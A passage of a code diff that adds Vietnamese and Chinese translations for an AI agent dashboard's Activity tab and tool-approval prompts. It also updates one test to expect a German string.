phê duyệt có hiệu lực yêu cầu phê duyệt mọi lần, vì vậy Không cho phép Luôn cho phép.", deny: "Từ chối", labels: { host: "Máy chủ", @@ -395,7 +395,7 @@ export const vi: TranslationMap = { }, tabs: { agents: "Agent", - activity: "Activity", + activity: "Hoạt động", overview: "Tổng quan", channels: "Kênh", instances: "Phiên bản", @@ -417,7 +417,7 @@ export const vi: TranslationMap = { }, subtitles: { agents: "Không gian làm việc, công cụ, danh tính.", - activity: "Browser-local tool activity summaries.", + activity: "Tóm tắt hoạt động công cụ cục bộ trên trình duyệt.", overview: "Trạng thái, điểm vào, tình trạng.", channels: "Kênh và cài đặt.", instances: "Máy khách và nút đã kết nối.", @@ -438,30 +438,30 @@ export const vi: TranslationMap = { dreams: "Mơ bộ nhớ, hợp nhất và phản chiếu.", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", + title: "Hoạt động", + subtitle: "Hoạt động công cụ tạm thời được lấy từ các sự kiện phiên trực tiếp.", + visibleCount: "{visible} trên {total}", + filtersLabel: "Bộ lọc hoạt động", search: "Tìm kiếm", - searchPlaceholder: "Filter by tool, summary, run, session", + searchPlaceholder: "Lọc theo công cụ, tóm tắt, lượt chạy, phiên", toolFilter: "Công cụ", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "Tất cả công cụ", + statusFilters: "Bộ lọc trạng thái", + autoFollow: "Tự động theo dõi", + expandAll: "Mở rộng tất cả", + collapseAll: "Thu gọn tất cả", clear: "Xóa", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "Chưa có hoạt động công cụ.", + emptyFiltered: "Không có hoạt động nào khớp với các bộ lọc này.", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "1 đối số bị ẩn", + argumentsHidden: "{count} đối số bị ẩn", + streamLabel: "Các mục hoạt động công cụ", + toolCallId: "Lệnh gọi công cụ", runId: "Chạy", session: "Phiên", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "Bản xem trước đã được biên tập lại và cắt ngắn.", + noOutputPreview: "Không có bản xem trước đầu ra.", status: { running: "Đang chạy", done: "Hoàn tất", diff --git a/ui/src/i18n/locales/zh-CN.ts b/ui/src/i18n/locales/zh-CN.ts index c5c8ab4f117..2838e56c58f 100644 --- a/ui/src/i18n/locales/zh-CN.ts +++ b/ui/src/i18n/locales/zh-CN.ts @@ -360,8 +360,7 @@ export const zh_CN: TranslationMap = { pending: "{count} 个待处理", allowOnce: "允许一次", alwaysAllow: "始终允许", - allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + allowAlwaysUnavailable: "有效的批准策略要求每次都批准,因此“始终允许”不可用。", deny: "拒绝", labels: { host: "主机", @@ -393,7 +392,7 @@ export const zh_CN: TranslationMap = { }, tabs: { agents: "代理", - activity: "Activity", + activity: "活动", overview: "概览", channels: "频道", instances: "实例", @@ -415,7 +414,7 @@ export const zh_CN: TranslationMap = { }, subtitles: { agents: "工作区、工具、身份。", - activity: "Browser-local tool activity summaries.", + activity: "浏览器本地工具活动摘要。", overview: "状态、入口点、健康。", channels: "频道和设置。", instances: "已连接客户端和节点。", @@ -436,34 +435,34 @@ export const zh_CN: TranslationMap = { dreams: "睡眠时进行记忆巩固。", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", - search: "Search", - searchPlaceholder: "Filter by tool, summary, run, session", + title: "活动", + subtitle: "从实时会话事件派生的临时工具活动。", + visibleCount: "{visible} / {total}", + filtersLabel: "活动筛选器", + search: "搜索", + searchPlaceholder: "按工具、摘要、运行、会话筛选", toolFilter: "工具", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "所有工具", + statusFilters: "状态筛选器", + autoFollow: "自动跟随", + expandAll: "全部展开", + collapseAll: "全部折叠", clear: "清除", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "暂无工具活动。", + emptyFiltered: "没有符合这些筛选条件的活动。", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", - runId: "Run", + argumentHiddenOne: "已隐藏 1 个参数", + argumentsHidden: "已隐藏 {count} 个参数", + streamLabel: "工具活动条目", + toolCallId: "工具调用", + runId: "运行", session: "会话", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "预览已隐藏并截断。", + noOutputPreview: "无输出预览。", status: { running: "运行中", done: "已完成", - error: "Error", + error: "错误", }, duration: { ms: "{count} ms", diff --git a/ui/src/i18n/locales/zh-TW.ts b/ui/src/i18n/locales/zh-TW.ts index d7c0381ec1a..cf6fc8ff138 100644 --- a/ui/src/i18n/locales/zh-TW.ts +++ b/ui/src/i18n/locales/zh-TW.ts @@ -360,8 +360,7 @@ export const zh_TW: TranslationMap = { pending: "{count} pending", allowOnce: "Allow once", alwaysAllow: "Always allow", - allowAlwaysUnavailable: - "The effective approval policy requires approval every time, so Allow Always is unavailable.", + allowAlwaysUnavailable: "有效的核准政策要求每次都需核准,因此「一律允許」無法使用。", deny: "Deny", labels: { host: "Host", @@ -393,7 +392,7 @@ export const zh_TW: TranslationMap = { }, tabs: { agents: "代理", - activity: "Activity", + activity: "活動", overview: "概覽", channels: "頻道", instances: "實例", @@ -415,7 +414,7 @@ export const zh_TW: TranslationMap = { }, subtitles: { agents: "工作區、工具、身份。", - activity: "Browser-local tool activity summaries.", + activity: "瀏覽器本機工具活動摘要。", overview: "狀態、入口點、健康。", channels: "頻道和設置。", instances: "已連接客戶端和節點。", @@ -436,30 +435,30 @@ export const zh_TW: TranslationMap = { dreams: "睡眠期間的記憶整合。", }, activity: { - title: "Activity", - subtitle: "Ephemeral tool activity derived from live session events.", - visibleCount: "{visible} of {total}", - filtersLabel: "Activity filters", - search: "Search", - searchPlaceholder: "Filter by tool, summary, run, session", + title: "活動", + subtitle: "從即時工作階段事件衍生的暫時性工具活動。", + visibleCount: "{visible} / {total}", + filtersLabel: "活動篩選器", + search: "搜尋", + searchPlaceholder: "依工具、摘要、執行、工作階段篩選", toolFilter: "工具", - allTools: "All tools", - statusFilters: "Status filters", - autoFollow: "Auto-follow", - expandAll: "Expand all", - collapseAll: "Collapse all", + allTools: "所有工具", + statusFilters: "狀態篩選器", + autoFollow: "自動跟隨", + expandAll: "全部展開", + collapseAll: "全部收合", clear: "清除", - empty: "No tool activity yet.", - emptyFiltered: "No activity matches these filters.", + empty: "尚無工具活動。", + emptyFiltered: "沒有符合這些篩選條件的活動。", entrySummary: "{argumentSummary}", - argumentHiddenOne: "1 argument hidden", - argumentsHidden: "{count} arguments hidden", - streamLabel: "Tool activity entries", - toolCallId: "Tool call", + argumentHiddenOne: "已隱藏 1 個引數", + argumentsHidden: "已隱藏 {count} 個引數", + streamLabel: "工具活動項目", + toolCallId: "工具呼叫", runId: "執行", session: "工作階段", - outputTruncated: "Preview redacted and truncated.", - noOutputPreview: "No output preview.", + outputTruncated: "預覽已遮蔽並截斷。", + noOutputPreview: "沒有輸出預覽。", status: { running: "執行中", done: "完成", diff --git a/ui/src/ui/views/activity.test.ts b/ui/src/ui/views/activity.test.ts index 4dcd1c348c7..93c3bc246eb 100644 --- a/ui/src/ui/views/activity.test.ts +++ b/ui/src/ui/views/activity.test.ts @@ -64,7 +64,7 @@ describe("renderActivity", () => { render(renderActivity(createProps()), container); expect(container.querySelector(".activity-entry__text")?.textContent?.trim()).toBe( - "0 arguments hidden", + "0 Argumente ausgeblendet", ); });